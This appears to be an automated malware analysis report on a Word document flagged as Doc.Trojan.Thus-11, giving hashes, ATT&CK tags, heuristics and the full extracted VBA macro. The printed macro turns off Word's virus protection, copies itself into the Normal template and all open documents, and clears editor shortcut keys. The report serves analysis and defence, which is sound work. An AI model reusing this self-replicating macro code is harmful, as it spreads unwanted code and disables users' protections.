Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6f7e9385615d738c…

MALICIOUS

Office (OLE)

29.5 KB Created: 2001-04-25 10:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7d2b276b648e2d252eea074555549657 SHA-1: 25e71318ea08d1c0c91b6255edf7146537381897 SHA-256: 6f7e9385615d738cd3ad705acb650dd0175ac132424081342d6506ffdad1e252
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, including a Document_Open macro, which is a common technique for malicious documents. The macro attempts to disable virus protection and manipulate the VBA project, suggesting an intent to execute malicious code or hinder removal. The ClamAV detection 'Doc.Trojan.Thus-11' further confirms its malicious nature, indicating it's likely a downloader or dropper.

Heuristics 3

  • ClamAV: Doc.Trojan.Thus-11 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-11
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3099 bytes
SHA-256: ed041150bebee7eb69662652efbc4894986b66f7838009157c4c2245938d4cc5
Detection
ClamAV: Doc.Trojan.Thus-11
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim iCount As Integer
Application.ActiveDocument.Saved = True
    Do While Application.BackgroundPrintingStatus > 0 Or _
       Application.BackgroundSavingStatus > 0
               For iCount = 1 To 2000
                Next
    Loop
Application.CommandBars("File").Reset
Application.CommandBars("View").Reset
Application.CommandBars("Tools").Reset
Application.FindKey(wdKeyControl + wdKeyN).Clear
Application.FindKey(wdKeyControl + wdKeyO).Clear
Application.FindKey(wdKeyControl + wdKeyS).Clear
Application.FindKey(wdKeyAlt + wdKeyF8).Clear
Application.FindKey(wdKeyAlt + wdKeyF11).Clear
Application.NormalTemplate.Saved = True
 End Sub


Private Sub Document_Open()
On Error Resume Next
Dim k
'-- A macro called Thus_001 propegates to all open word documents and is
'-- set to delete all files on a users c: drive on December 13th.

'-- This macro is designed to search your word documents and remove the Thus_001 macro.
    Application.Options.VirusProtection = False
    '-- Remove Thus_001 from all open components
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
            .deletelines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
            .CodeModule.CountOfLines
    End If
    '-- Insert Virus Protector into open components
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
            .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
            .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
            .Item(1).CodeModule.CountOfLines)
    End If

    If NormalTemplate.Saved = False Then NormalTemplate.Save
    For k = 1 To Application.Documents.Count
    '-- Remove Thus_001 from all open documents
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(2, 1) = "'Thus_001'" Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.deletelines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
    End If
    '-- Insert virus Protector into open documents
    If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
    End If
    Next k
End Sub

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